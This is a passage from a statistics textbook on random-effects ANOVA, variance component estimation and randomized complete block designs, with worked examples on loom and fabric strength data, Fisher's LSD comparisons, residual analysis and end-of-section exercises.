random factor. Because the levels of the factor actually used in the experiment were chosen randomly, the conclusions reached will be valid for the entire population of factor levels. We will assume that the population of factor levels is either of infinite size or is large enough to be considered infinite. Notice that this is a very different situation than we encountered in the fixed-effects case, where the conclusions apply only for the factor levels used in the experiment.

13-3.2 ANOVA and Variance Components

The linear statistical model is

$$Y_{ij} = \mu + \tau_i + \epsilon_{ij} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, n \end{cases} \tag{13-18}$$

where the treatment effects τ_i and the errors ϵ_{ij} are independent random variables. Note that the model is identical in structure to the fixed-effects case, but the parameters have a different interpretation. If the variance of the treatment effects τ_i is σ_τ^2, by independence the variance of the response is

$$V(Y_{ij}) = \sigma_\tau^2 + \sigma^2 \tag{13-19}$$

The variances σ_τ^2 and σ^2 are called **variance components,** and the model, Equation 13-19, is called the **components of variance model** or the **random-effects model.** To test hypotheses in this model, we assume that the errors ϵ_{ij} are normally and independently distributed with mean 0 and variance σ^2 and that the treatment effects τ_i are normally and independently distributed with mean zero and variance σ_τ^2.*

For the random-effects model, testing the hypothesis that the individual treatment effects are zero is meaningless. It is more appropriate to test hypotheses about σ_τ^2. Specifically,

$$H_0: \sigma_\tau^2 = 0$$
$$H_1: \sigma_\tau^2 > 0$$

If $\sigma_\tau^2 = 0$, all treatments are identical; but if $\sigma_\tau^2 > 0$, there is variability between treatments.

The ANOVA decomposition of total variability is still valid; that is,

$$SS_T = SS_{\text{Treatments}} + SS_E \tag{13-20}$$

However, the expected values of the mean squares for treatments and error are somewhat different than in the fixed-effects case.

Expected Values of Mean Squares: Random Effects

In the random-effects model for a single-factor, completely randomized experiment, the expected mean square for treatments is

$$E(MS_{\text{Treatments}}) = E\left(\frac{SS_{\text{Treatments}}}{a-1}\right) = \sigma^2 + n\sigma_\tau^2 \tag{13-21}$$

and the expected mean square for error is

$$E(MS_E) = E\left[\frac{SS_E}{a(n-1)}\right] = \sigma^2 \tag{13-22}$$

*The assumption that the $\{\tau_i\}$ are independent random variables implies that the usual assumption of $\sum_{i=1}^{a} \tau_i = 0$ from the fixed-effects model does not apply to the random-effects model.

From examining the expected mean squares, it is clear that both MS_E and $MS_{\text{Treatments}}$ estimate σ^2 when H_0: $\sigma_\tau^2 = 0$ is true. Furthermore, MS_E and $MS_{\text{Treatments}}$ are independent. Consequently, the ratio

$$F_0 = \frac{MS_{\text{Treatments}}}{MS_E} \tag{13-23}$$

is an F random variable with $a - 1$ and $a(n - 1)$ degrees of freedom when H_0 is true. The null hypothesis would be rejected at the α-level of significance if the computed value of the test statistic $f_0 > f_{\alpha, a-1, a(n-1)}$.

The computational procedure and construction of the ANOVA table for the random-effects model are identical to the fixed-effects case. The conclusions, however, are quite different because they apply to the entire population of treatments.

Usually, we also want to estimate the variance components (σ^2 and σ_τ^2) in the model. The procedure that we will use to estimate σ^2 and σ_τ^2 is called the **analysis of variance method** because it uses the information in the analysis of variance table. It does not require the normality assumption on the observations. The procedure consists of equating the expected mean squares to their observed values in the ANOVA table and solving for the variance components. When equating observed and expected mean squares in the one-way classification random-effects model, we obtain

$$MS_{\text{Treatments}} = \sigma^2 + n\sigma_\tau^2 \quad \text{and} \quad MS_E = \sigma^2$$

Therefore, the estimators of the variance components are

Variance Components Estimates

$$\hat{\sigma}^2 = MS_E \tag{13-24}$$

and

$$\hat{\sigma}_\tau^2 = \frac{MS_{\text{Treatments}} - MS_E}{n} \tag{13-25}$$

Sometimes the analysis of variance method produces a negative estimate of a variance component. Since variance components are by definition nonnegative, a negative estimate of a variance component is disturbing. One course of action is to accept the estimate and use it as evidence that the true value of the variance component is zero, assuming that sampling variation led to the negative estimate. While this approach has intuitive appeal, it will disturb the statistical properties of other estimates. Another alternative is to reestimate the negative variance component with a method that always yields nonnegative estimates. Still another possibility is to consider the negative estimate as evidence that the assumed linear model is incorrect, requiring that a study of the model and its assumptions be made to find a more appropriate model.

EXAMPLE 13-4 Textile Manufacturing

In *Design and Analysis of Experiments*, 7th edition (John Wiley, 2009), D. C. Montgomery describes a single-factor experiment involving the random-effects model in which a textile manufacturing company weaves a fabric on a large number of looms. The company is interested in loom-to-loom variability in tensile strength. To investigate this variability, a manufacturing engineer selects four looms at random and makes four strength determinations on fabric samples chosen

Table 13-7 Strength Data for Example 13-4

	Observations					
Loom	1	2	3	4	Total	Average
1	98	97	99	96	390	97.5
2	91	90	93	92	366	91.5
3	96	95	97	95	383	95.8
4	95	96	99	98	388	97.0
					1527	95.45

Table 13-8 Analysis of Variance for the Strength Data

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Looms	89.19	3	29.73	15.68	1.88 E-4
Error	22.75	12	1.90		
Total	111.94	15			

at random from each loom. The data are shown in Table 13-7 and the ANOVA is summarized in Table 13-8.

From the analysis of variance, we conclude that the looms in the plant differ significantly in their ability to produce fabric of uniform strength. The variance components are estimated by $\hat{\sigma}^2 = 1.90$ and

$$\hat{\sigma}_\tau^2 = \frac{29.73 - 1.90}{4} = 6.96$$

Therefore, the variance of strength in the manufacturing process is estimated by

$$\widehat{V(Y_{ij})} = \hat{\sigma}_\tau^2 + \hat{\sigma}^2 = 6.96 + 1.90 = 8.86$$

Conclusions: Most of the variability in strength in the output product is attributable to differences between looms.

This example illustrates an important application of the analysis of variance—the isolation of different sources of variability in a manufacturing process. Problems of excessive variability in critical functional parameters or properties frequently arise in quality-improvement programs. For example, in the previous fabric strength example, the process mean is estimated by $\bar{y} = 95.45$ psi, and the process standard deviation is estimated by $\hat{\sigma}_y = \sqrt{\hat{V}(Y_{ij})} = \sqrt{8.86} = 2.98$ psi. If strength is approximately normally distributed, the distribution of strength in the outgoing product would look like the normal distribution shown in Fig. 13-8(a). If the lower specification limit (LSL) on strength is at 90 psi, a substantial proportion of the process output is **fallout**—that is, scrap or defective material that must be sold as second quality, and so on. This fallout is directly related to the excess variability resulting from differences between looms. Variability in loom performance could be caused by faulty setup, poor maintenance, inadequate supervision, poorly trained operators, and so forth. The engineer or manager responsible for quality improvement must identify and remove these sources of variability from the process. If this can be done, strength variability will be greatly reduced, perhaps as low as $\hat{\sigma}_Y = \sqrt{\hat{\sigma}^2} = \sqrt{1.90} = 1.38$ psi, as shown in Fig. 13-8(b). In this improved process, reducing the variability in strength has greatly reduced the fallout, resulting in lower cost, higher quality, a more satisfied customer, and enhanced competitive position for the company.

Figure 13-8 The distribution of fabric strength. (a) Current process, (b) improved process.

EXERCISES FOR SECTION 13-3

13-28. An article in the *Journal of the Electrochemical Society* (Vol. 139, No. 2, 1992, pp. 524–532) describes an experiment to investigate the low-pressure vapor deposition of polysilicon. The experiment was carried out in a large-capacity reactor at Sematech in Austin, Texas. The reactor has several wafer positions, and four of these positions are selected at random. The response variable is film thickness uniformity. Three replicates of the experiment were run, and the data are as follows:

Wafer Position	Uniformity		
1	2.76	5.67	4.49
2	1.43	1.70	2.19
3	2.34	1.97	1.47
4	0.94	1.36	1.65

(a) Is there a difference in the wafer positions? Use $\alpha = 0.05$.
(b) Estimate the variability due to wafer positions.
(c) Estimate the random error component.
(d) Analyze the residuals from this experiment and comment on model adequacy.

13-29. A textile mill has a large number of looms. Each loom is supposed to provide the same output of cloth per minute. To investigate this assumption, five looms are chosen at random, and their output is measured at different times. The following data are obtained:

Loom	Output (lb/min)				
1	4.0	4.1	4.2	4.0	4.1
2	3.9	3.8	3.9	4.0	4.0
3	4.1	4.2	4.1	4.0	3.9
4	3.6	3.8	4.0	3.9	3.7
5	3.8	3.6	3.9	3.8	4.0

(a) Are the looms similar in output? Use $\alpha = 0.05$.
(b) Estimate the variability between looms.
(c) Estimate the experimental error variance.
(d) Analyze the residuals from this experiment and check for model adequacy.

13-30. In the book *Bayesian Inference in Statistical Analysis* (1973, John Wiley and Sons) by Box and Tiao, the total product yield was determined for five samples randomly selected from each of six randomly chosen batches of raw material.

Batch	Yield (in grams)				
1	1545	1440	1440	1520	1580
2	1540	1555	1490	1560	1495
3	1595	1550	1605	1510	1560
4	1445	1440	1595	1465	1545
5	1595	1630	1515	1635	1625
6	1520	1455	1450	1480	1445

(a) Do the different batches of raw material significantly affect mean yield? Use $\alpha = 0.01$.
(b) Estimate the variability between batches.
(c) Estimate the variability between samples within batches.
(d) Analyze the residuals from this experiment and check for model adequacy.

13-31. An article in the *Journal of Quality Technology* (Vol. 13, No. 2, 1981, pp. 111–114) described an experiment that investigated the effects of four bleaching chemicals on pulp brightness. These four chemicals were selected at random from a large population of potential bleaching agents. The data are as follows:

Chemical	Pulp Brightness				
1	77.199	74.466	92.746	76.208	82.876
2	80.522	79.306	81.914	80.346	73.385
3	79.417	78.017	91.596	80.802	80.626
4	78.001	78.358	77.544	77.364	77.386

(a) Is there a difference in the chemical types? Use $\alpha = 0.05$.
(b) Estimate the variability due to chemical types.
(c) Estimate the variability due to random error.
(d) Analyze the residuals from this experiment and comment on model adequacy.

13-32. Consider the vapor-deposition experiment described in Exercise 13-28.
(a) Estimate the total variability in the uniformity response.
(b) How much of the total variability in the uniformity response is due to the difference between positions in the reactor?
(c) To what level could the variability in the uniformity response be reduced if the position-to-position variability in the reactor could be eliminated? Do you believe this is a significant reduction?

13-33. Reconsider Exercise 13-13 in which the effect of different diets on the protein content of cow's milk was investigated. Suppose that the three diets reported were selected at random from a large number of diets. To simplify, delete the last two observations in the diets with $n = 27$ (to make equal sample sizes).
(a) How does this change the interpretation of the experiment?
(b) What is an appropriate statistical model for this experiment?
(c) Estimate the parameters of this model.

13-4 RANDOMIZED COMPLETE BLOCK DESIGN

13-4.1 Design and Statistical Analysis

In many experimental design problems, it is necessary to design the experiment so that the variability arising from a nuisance factor can be controlled. For example, consider the situation of Example 10-9, where two different methods were used to predict the shear strength of steel plate girders. Because each girder has different strength (potentially), and this variability in strength was not of direct interest, we designed the experiment by using the two test methods on each girder and then comparing the average difference in strength readings on each girder to zero using the paired t-test. The paired t-test is a procedure for comparing two treatment means when all experimental runs cannot be made under homogeneous conditions. Alternatively, we can view the paired t-test as a method for reducing the background noise in the experiment by blocking out a **nuisance factor** effect. The block is the nuisance factor, and in this case, the nuisance factor is the actual **experimental unit**—the steel girder specimens used in the experiment.

The randomized block design is an extension of the paired t-test to situations where the factor of interest has more than two levels; that is, more than two treatments must be compared. For example, suppose that three methods could be used to evaluate the strength readings on steel plate girders. We may think of these as three treatments, say t_1, t_2, and t_3. If we use four girders as the experimental units, a **randomized complete block design (RCBD)** would appear as shown in Fig. 13-9. The design is called a randomized complete block design because each block is large enough to hold all the treatments and because the actual assignment of each of the three treatments within each block is done randomly. Once the experiment has been conducted, the data are recorded in a table, such as is shown in Table 13-9. The observations in this table, say, y_{ij}, represent the response obtained when method i is used on girder j.

The general procedure for a randomized complete block design consists of selecting b blocks and running a complete replicate of the experiment in each block. The data that result from running a RCBD for investigating a single factor with a levels and b blocks are shown in Table 13-10. There will be a observations (one per factor level) in each block, and the order in which these observations are run is randomly assigned within the block.

We will now describe the statistical analysis for the RCBD. Suppose that a single factor with a levels is of interest and that the experiment is run in b blocks. The observations may be represented by the **linear statistical model**

$$Y_{ij} = \mu + \tau_i + \beta_j + \epsilon_{ij} \begin{cases} i = 1, 2, \ldots, a \\ j = 1, 2, \ldots, b \end{cases} \tag{13-26}$$

where μ is an overall mean, τ_i is the effect of the ith treatment, β_j is the effect of the jth block, and ϵ_{ij} is the random error term, which is assumed to be normally and independently distributed

Figure 13-9 A randomized complete block design.

Table 13-9 A Randomized Complete Block Design

Treatments (Method)	Block (Girder) 1	2	3	4
1	y_{11}	y_{12}	y_{13}	y_{14}
2	y_{21}	y_{22}	y_{23}	y_{24}
3	y_{31}	y_{32}	y_{33}	y_{34}

Table 13-10 A Randomized Complete Block Design with a Treatments and b Blocks

	Blocks					
Treatments	1	2	…	b	Totals	Averages
1	y_{11}	y_{12}	…	y_{1b}	$y_{1\cdot}$	$\bar{y}_{1\cdot}$
2	y_{21}	y_{22}	…	y_{2b}	$y_{2\cdot}$	$\bar{y}_{2\cdot}$
⋮	⋮	⋮		⋮	⋮	⋮
a	y_{a1}	y_{a2}	…	y_{ab}	$y_{a\cdot}$	$\bar{y}_{a\cdot}$
Totals	$y_{\cdot 1}$	$y_{\cdot 2}$	…	$y_{\cdot b}$	$y_{\cdot\cdot}$	
Averages	$\bar{y}_{\cdot 1}$	$\bar{y}_{\cdot 2}$	…	$\bar{y}_{\cdot b}$		$\bar{y}_{\cdot\cdot}$

with mean zero and variance σ^2. Furthermore, the treatment and block effects are defined as deviations from the overall mean, so $\sum_{i=1}^{a} \tau_i = 0$ and $\sum_{j=1}^{b} \beta_j = 0$. This was the same type of definition used for completely randomized experiments in Section 13-2. We also assume that treatments and blocks do not interact. That is, the effect of treatment i is the same regardless of which block (or blocks) it is tested in. We are interested in testing the equality of the treatment effects. That is,

$$H_0: \tau_1 = \tau_2 = \cdots = \tau_a = 0$$
$$H_1: \tau_i \neq 0 \text{ at least one } i$$

The analysis of variance can be extended to the RCBD. The procedure uses a sum of squares identity that partitions the total sum of squares into three components.

ANOVA Sums of Squares Identity: Randomized Block Experiment

The **sum of squares identity for the randomized complete block design** is

$$\sum_{i=1}^{a}\sum_{j=1}^{b}(y_{ij} - \bar{y}_{\cdot\cdot})^2 = b\sum_{i=1}^{a}(\bar{y}_{i\cdot} - \bar{y}_{\cdot\cdot})^2 + a\sum_{j=1}^{b}(\bar{y}_{\cdot j} - \bar{y}_{\cdot\cdot})^2 + \sum_{i=1}^{a}\sum_{j=1}^{b}(y_{ij} - \bar{y}_{\cdot j} - \bar{y}_{i\cdot} + \bar{y}_{\cdot\cdot})^2 \qquad (13\text{-}27)$$

or symbolically

$$SS_T = SS_{\text{Treatments}} + SS_{\text{Blocks}} + SS_E$$

Furthermore, the degrees of freedom corresponding to these sums of squares are

$$ab - 1 = (a - 1) + (b - 1) + (a - 1)(b - 1)$$

For the randomized block design, the relevant mean squares are

$$MS_{\text{Treatments}} = \frac{SS_{\text{Treatments}}}{a - 1}$$
$$MS_{\text{Blocks}} = \frac{SS_{\text{Blocks}}}{b - 1}$$
$$MS_E = \frac{SS_E}{(a - 1)(b - 1)}$$

The expected values of these mean squares can be shown to be as follows:

Expected Mean Squares: Randomized Block Experiment

$$E(MS_{\text{Treatments}}) = \sigma^2 + \frac{b\sum_{i=1}^{a}\tau_i^2}{a-1}$$

$$E(MS_{\text{Blocks}}) = \sigma^2 + \frac{a\sum_{j=1}^{b}\beta_j^2}{b-1}$$

$$E(MS_E) = \sigma^2$$

Therefore, if the null hypothesis H_0 is true so that all treatment effects $\tau_i = 0$, $MS_{\text{Treatments}}$ is an unbiased estimator of σ^2, while if H_0 is false, $MS_{\text{Treatments}}$ overestimates σ^2. The mean square for error is always an unbiased estimate of σ^2. To test the null hypothesis that the treatment effects are all zero, we use the ratio

$$F_0 = \frac{MS_{\text{Treatments}}}{MS_E} \tag{13-28}$$

which has an F-distribution with $a - 1$ and $(a - 1)(b - 1)$ degrees of freedom if the null hypothesis is true. We would reject the null hypothesis at the α-level of significance if the computed value of the test statistic in Equation 13-28 is $f_0 > f_{\alpha,a-1,(a-1)(b-1)}$.

In practice, we compute SS_T, $SS_{\text{Treatments}}$ and SS_{Blocks} and then obtain the error sum of squares SS_E by subtraction. The appropriate computing formulas are as follows.

Computing Formulas for ANOVA: Randomized Block Experiment

The computing formulas for the sums of squares in the analysis of variance for a randomized complete block design are

$$SS_T = \sum_{i=1}^{a}\sum_{j=1}^{b} y_{ij}^2 - \frac{y_{..}^2}{ab} \tag{13-29}$$

$$SS_{\text{Treatments}} = \frac{1}{b}\sum_{i=1}^{a} y_{i.}^2 - \frac{y_{..}^2}{ab} \tag{13-30}$$

$$SS_{\text{Blocks}} = \frac{1}{a}\sum_{j=1}^{b} y_{.j}^2 - \frac{y_{..}^2}{ab} \tag{13-31}$$

and

$$SS_E = SS_T - SS_{\text{Treatments}} - SS_{\text{Blocks}} \tag{13-32}$$

The computations are usually arranged in an ANOVA table, such as is shown in Table 13-11. Generally, a computer software package will be used to perform the analysis of variance for the randomized complete block design.

Table 13-11 ANOVA for a Randomized Complete Block Design

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	F_0
Treatments	$SS_{\text{Treatments}}$	$a - 1$	$\dfrac{SS_{\text{Treatments}}}{a-1}$	$\dfrac{MS_{\text{Treatments}}}{MS_E}$
Blocks	SS_{Blocks}	$b - 1$	$\dfrac{SS_{\text{Blocks}}}{b-1}$	
Error	SS_E (by subtraction)	$(a-1)(b-1)$	$\dfrac{SS_E}{(a-1)(b-1)}$	
Total	SS_T	$ab - 1$		

EXAMPLE 13-5 **Fabric Strength**

An experiment was performed to determine the effect of four different chemicals on the strength of a fabric. These chemicals are used as part of the permanent press finishing process. Five fabric samples were selected, and a RCBD was run by testing each chemical type once in random order on each fabric sample. The data are shown in Table 13-12. We will test for differences in means using an ANOVA with $\alpha = 0.01$.

The sums of squares for the analysis of variance are computed as follows:

$$SS_T = \sum_{i=1}^{4}\sum_{j=1}^{5} y_{ij}^2 - \frac{y_{..}^2}{ab}$$

$$= (1.3)^2 + (1.6)^2 + \cdots + (3.4)^2 - \frac{(39.2)^2}{20} = 25.69$$

$$SS_{\text{Treatments}} = \sum_{i=1}^{4} \frac{y_{i.}^2}{b} - \frac{y_{..}^2}{ab}$$

$$= \frac{(5.7)^2 + (8.8)^2 + (6.9)^2 + (17.8)^2}{5} - \frac{(39.2)^2}{20} = 18.04$$

$$SS_{\text{Blocks}} = \sum_{j=1}^{5} \frac{y_{.j}^2}{a} - \frac{y_{..}^2}{ab}$$

$$= \frac{(9.2)^2 + (10.1)^2 + (3.5)^2 + (8.8)^2 + (7.6)^2}{4} - \frac{(39.2)^2}{20} = 6.69$$

$$SS_E = SS_T - SS_{\text{Blocks}} - SS_{\text{Treatments}}$$

$$= 25.69 - 6.69 - 18.04 = 0.96$$

The ANOVA is summarized in Table 13-13. Since $f_0 = 75.13 > f_{0.01,3,12} = 5.95$ (the P-value is 4.79×10^{-8}), we conclude that there is a significant difference in the chemical types so far as their effect on strength is concerned.

Table 13-12 Fabric Strength Data—Randomized Complete Block Design

	Fabric Sample					Treatment Totals	Treatment Averages
Chemical Type	1	2	3	4	5	$y_{i.}$	$\bar{y}_{i.}$
1	1.3	1.6	0.5	1.2	1.1	5.7	1.14
2	2.2	2.4	0.4	2.0	1.8	8.8	1.76
3	1.8	1.7	0.6	1.5	1.3	6.9	1.38
4	3.9	4.4	2.0	4.1	3.4	17.8	3.56
Block totals $y_{.j}$	9.2	10.1	3.5	8.8	7.6	39.2($y_{..}$)	
Block averages $\bar{y}_{.j}$	2.30	2.53	0.88	2.20	1.90		1.96($\bar{y}_{..}$)

Table 13-13 Analysis of Variance for the Randomized Complete Block Experiment

Source of Variation	Sum of Squares	Degrees of Freedom	Mean Square	f_0	P-value
Chemical types (treatments)	18.04	3	6.01	75.13	4.79 E-8
Fabric samples (blocks)	6.69	4	1.67		
Error	0.96	12	0.08		
Total	25.69	19			

When Is Blocking Necessary?

Suppose an experiment is conducted as a randomized block design, and blocking was not really necessary. There are ab observations and $(a - 1)(b - 1)$ degrees of freedom for error. If the experiment had been run as a completely randomized single-factor design with b replicates, we would have had $a(b - 1)$ degrees of freedom for error. Therefore, blocking has cost $a(b - 1) - (a - 1)(b - 1) = b - 1$ degrees of freedom for error. Thus, since the loss in error degrees of freedom is usually small, if there is a reasonable chance that block effects may be important, the experimenter should use the randomized block design.

For example, consider the experiment described in Example 13-5 as a single-factor experiment with no blocking. We would then have 16 degrees of freedom for error. In the randomized block design, there are 12 degrees of freedom for error. Therefore, blocking has cost only 4 degrees of freedom, which is a very small loss considering the possible gain in information that would be achieved if block effects are really important. The block effect in Example 13-5 is large, and if we had not blocked, SS_{Blocks} would have been included in the error sum of squares for the completely randomized analysis. This would have resulted in a much larger MS_E, making it more difficult to detect treatment differences. As a general rule, when in doubt as to the importance of block effects, the experimenter should block and gamble that the block effect does exist. If the experimenter is wrong, the slight loss in the degrees of freedom for error will have a negligible effect, unless the number of degrees of freedom is very small.

Computer Solution

Table 13-14 presents the computer output from Minitab for the randomized complete block design in Example 13-5. We used the analysis of variance menu for balanced designs to solve this problem. The results agree closely with the hand calculations from Table 13-13.

Notice that Minitab computes an F-statistic for the blocks (the fabric samples). The validity of this ratio as a test statistic for the null hypothesis of no block effects is doubtful because the blocks represent a restriction on randomization; that is, we have only randomized within the blocks. If the blocks are not chosen at random, or if they are not run in random order, the F-ratio for blocks may not provide reliable information about block effects. For more discussion see Montgomery (2009, Chapter 4).

13-4.2 Multiple Comparisons

When the ANOVA indicates that a difference exists between the treatment means, we may need to perform some follow-up tests to isolate the specific differences. Any multiple comparison method, such as Fisher's LSD method, could be used for this purpose.

Table 13-14 Minitab Analysis of Variance for the Randomized Complete Block Design in Example 13-5

Analysis of Variance (Balanced Designs)

Factor	Type	Levels	Values				
Chemical	fixed	4	1	2	3	4	
Fabric S	fixed	5	1	2	3	4	5

Analysis of Variance for strength

Source	DF	SS	MS	F	P
Chemical	3	18.0440	6.0147	75.89	0.000
Fabric S	4	6.6930	1.6733	21.11	0.000
Error	12	0.9510	0.0792		
Total	19	25.6880			

F-test with denominator: Error
Denominator MS = 0.079250 with 12 degrees of freedom

Numerator	DF	MS	F	P
Chemical	3	6.015	75.89	0.000
Fabric S	4	1.673	21.11	0.000

We will illustrate Fisher's LSD method. The four chemical type averages from Example 13-5 are:

$$\bar{y}_{1\cdot} = 1.14 \qquad \bar{y}_{2\cdot} = 1.76 \qquad \bar{y}_{3\cdot} = 1.38 \qquad \bar{y}_{4\cdot} = 3.56$$

Each treatment average uses $b = 5$ observations (one from each block). We will use $\alpha = 0.05$, so $t_{0.025,12} = 2.179$. Therefore the value of the LSD is

$$\text{LSD} = t_{0.025,12}\sqrt{\frac{2MS_E}{b}} = 2.179\sqrt{\frac{2(0.08)}{5}} = 0.39$$

Any pair of treatment averages that differ by 0.39 or more indicates that this pair of treatment means is significantly different. The comparisons are shown below:

$$\begin{aligned}
4 \text{ vs. } 1 &= \bar{y}_{4\cdot} - \bar{y}_{1\cdot} = 3.56 - 1.14 = 2.42 > 0.39\\
4 \text{ vs. } 3 &= \bar{y}_{4\cdot} - \bar{y}_{3\cdot} = 3.56 - 1.38 = 2.18 > 0.39\\
4 \text{ vs. } 2 &= \bar{y}_{4\cdot} - \bar{y}_{2\cdot} = 3.56 - 1.76 = 1.80 > 0.39\\
2 \text{ vs. } 1 &= \bar{y}_{2\cdot} - \bar{y}_{1\cdot} = 1.76 - 1.14 = 0.62 > 0.39\\
2 \text{ vs. } 3 &= \bar{y}_{2\cdot} - \bar{y}_{3\cdot} = 1.76 - 1.38 = 0.38 < 0.39\\
3 \text{ vs. } 1 &= \bar{y}_{3\cdot} - \bar{y}_{1\cdot} = 1.38 - 1.14 = 0.24 < 0.39
\end{aligned}$$

Figure 13-10 presents the results graphically. The underlined pairs of means are not different. The LSD procedure indicates that chemical type 4 results in significantly different strengths than the other three types do. Chemical types 2 and 3 do not differ, and types 1 and 3 do not differ. There may be a small difference in strength between types 1 and 2.

Figure 13-10 Results of Fisher's LSD method.

13-4.3 Residual Analysis and Model Checking

In any designed experiment, it is always important to examine the residuals and to check for violation of basic assumptions that could invalidate the results. As usual, the residuals for the RCBD are just the difference between the observed and estimated (or fitted) values from the statistical model, say,

$$e_{ij} = y_{ij} - \hat{y}_{ij} \tag{13-33}$$

and the fitted values are

$$\hat{y}_{ij} = \bar{y}_{i\cdot} + \bar{y}_{\cdot j} - \bar{y}_{\cdot\cdot}$$

The fitted value represents the estimate of the mean response when the ith treatment is run in the jth block. The residuals from the chemical type experiment are shown in Table 13-15.

Figures 13-11, 13-12, 13-13, and 13-14 present the important residual plots for the experiment. These residual plots are usually constructed by computer software packages.

Table 13-15 Residuals from the Randomized Complete Block Design

Chemical Type	Fabric Sample 1	2	3	4	5
1	−0.18	−0.10	0.44	−0.18	0.02
2	0.10	0.08	−0.28	0.00	0.10
3	0.08	−0.24	0.30	−0.12	−0.02
4	0.00	0.28	−0.48	0.30	−0.10

Figure 13-11 Normal probability plot of residuals from the randomized complete block design.

Figure 13-12 Residuals by treatment.

Figure 13-13 Residuals by block.

Figure 13-14 Residuals versus $\hat{y}_{ij}$.

There is some indication that fabric sample (block) 3 has greater variability in strength when treated with the four chemicals than the other samples. Chemical type 4, which provides the greatest strength, also has somewhat more variability in strength. Followup experiments may be necessary to confirm these findings, if they are potentially important.

EXERCISES FOR SECTION 13-4

13-34. Consider the computer output below.

Randomized Block ANOVA: y versus Factor, Block

Source	DF	SS	MS	F	P
Factor	?	193.800	64.600	?	?
Block	3	464.218	154.739		
Error	?	?	4.464		
Total	15	698.190			

(a) How many levels of the factor were used in this experiment?
(b) How many blocks were used in this experiment?
(c) Fill in the missing information. Use bounds for the *P*-value.
(d) What conclusions would you draw if $\alpha = 0.05$? What would you conclude if $\alpha = 0.01$?

13-35. Exercise 13-2 introduced you to an experiment to investigate the potential effect of consuming chocolate on cardiovascular health. The experiment was conducted as a completely randomized design, and the exercise asked you to use the ANOVA to analyze the data and draw conclusions. Now assume that the experiment had been conducted as a RCBD, with the subjects considered as blocks. Analyze the data using this assumption. What conclusions would you draw (using $\alpha = 0.05$) about the effect of the different types of chocolate on cardiovascular health? Would your conclusions change if $\alpha = 0.01$?

13-36. An article in *Quality Engineering* ["Designed Experiment to Stabilize Blood Glucose Levels" (1999–2000, Vol. 12, pp. 83–87)] described an experiment to minimize variations in blood glucose levels. The treatment was the exercise time on a Nordic Track cross-country skier (10 or 20 min). The experiment was blocked for time of day. The data are as follows:

Exercise (min)	Time of Day	Average Blood Glucose
10	pm	71.5
10	am	103
20	am	83.5
20	pm	126
10	am	125.5
10	pm	129.5
20	pm	95
20	am	93

(a) Is there an effect of exercise time on the average blood glucose? Use $\alpha = 0.05$.
(b) Find the *P*-value for the test in part (a).
(c) Analyze the residuals from this experiment.

13-37. In "The Effect of Nozzle Design on the Stability and Performance of Turbulent Water Jets" (*Fire Safety Journal*, Vol. 4, August 1981), C. Theobald described an experiment in which a shape measurement was determined for several different nozzle types at different levels of jet efflux velocity. Interest in this experiment focuses primarily on nozzle type, and velocity is a nuisance factor. The data are as follows:

Nozzle Type	Jet Efflux Velocity (m/s)					
	11.73	14.37	16.59	20.43	23.46	28.74
1	0.78	0.80	0.81	0.75	0.77	0.78
2	0.85	0.85	0.92	0.86	0.81	0.83
3	0.93	0.92	0.95	0.89	0.89	0.83
4	1.14	0.97	0.98	0.88	0.86	0.83
5	0.97	0.86	0.78	0.76	0.76	0.75

(a) Does nozzle type affect shape measurement? Compare the nozzles with box plots and the analysis of variance.
(b) Use Fisher's LSD method to determine specific differences between the nozzles. Does a graph of the average (or standard deviation) of the shape measurements versus nozzle type assist with the conclusions?
(c) Analyze the residuals from this experiment.

13-38. In *Design and Analysis of Experiments*, 7th edition (John Wiley & Sons, 2009), D. C. Montgomery described an experiment that determined the effect of four different types of tips in a hardness tester on the observed hardness of a metal alloy. Four specimens of the alloy were obtained, and each tip was tested once on each specimen, producing the following data:

Type of Tip	Specimen			
	1	2	3	4
1	9.3	9.4	9.6	10.0
2	9.4	9.3	9.8	9.9
3	9.2	9.4	9.5	9.7
4	9.7	9.6	10.0	10.2

(a) Is there any difference in hardness measurements between the tips?
(b) Use Fisher's LSD method to investigate specific differences between the tips.
(c) Analyze the residuals from this experiment.

13-39. An article in the *American Industrial Hygiene Association Journal* (Vol. 37, 1976, pp. 418–422) described a field test for detecting the presence of arsenic in urine samples. The test has been proposed for use among forestry workers because of the increasing use of organic arsenics in that industry. The experiment compared the test as performed by both a trainee and an experienced trainer to an analysis at a remote laboratory. Four subjects were selected for testing and are considered as blocks. The response variable is arsenic content (in ppm) in the subject's urine. The data are as follows:

Test	Subject			
	1	2	3	4
Trainee	0.05	0.05	0.04	0.15
Trainer	0.05	0.05	0.04	0.17
Lab	0.04	0.04	0.03	0.10

(a) Is there any difference in the arsenic test procedure?
(b) Analyze the residuals from this experiment.

13-40. An article in the *Food Technology Journal* (Vol. 10, 1956, pp. 39–42) described a study on the protopectin content of tomatoes during storage. Four storage times were selected, and samples from nine lots of tomatoes were analyzed. The protopectin content (expressed as hydrochloric acid soluble fraction mg/kg) is in Table 13-16.
(a) The researchers in this study hypothesized that mean protopectin content would be different at different storage times. Can you confirm this hypothesis with a statistical test using $\alpha = 0.05$?
(b) Find the P-value for the test in part (a).
(c) Which specific storage times are different? Would you agree with the statement that protopectin content decreases as storage time increases?
(d) Analyze the residuals from this experiment.

13-41. An experiment was conducted to investigate leaking current in a SOS MOSFETS device. The purpose of the experiment was to investigate how leakage current varies as the channel length changes. Four channel lengths were selected. For each channel length, five different widths were

Table 13-16 Protopectin Content of Tomatoes in Storage

Storage Time	Lot								
	1	2	3	4	5	6	7	8	9
0 days	1694.0	989.0	917.3	346.1	1260.0	965.6	1123.0	1106.0	1116.0
7 days	1802.0	1074.0	278.8	1375.0	544.0	672.2	818.0	406.8	461.6
14 days	1568.0	646.2	1820.0	1150.0	983.7	395.3	422.3	420.0	409.5
21 days	415.5	845.4	377.6	279.4	447.8	272.1	394.1	356.4	351.2

also used, and width is to be considered a nuisance factor. The data are as follows:

Channel Length	Width 1	2	3	4	5
1	0.7	0.8	0.8	0.9	1.0
2	0.8	0.8	0.9	0.9	1.0
3	0.9	1.0	1.7	2.0	4.0
4	1.0	1.5	2.0	3.0	20.0

(a) Test the hypothesis that mean leakage voltage does not depend on the channel length, using $\alpha = 0.05$.
(b) Analyze the residuals from this experiment. Comment on the residual plots.
(c) The observed leakage voltage for channel length 4 and width 5 was erroneously recorded. The correct observation is 4.0. Analyze the corrected data from this experiment. Is there evidence to conclude that mean leakage voltage increases with channel length?

Supplemental Exercises

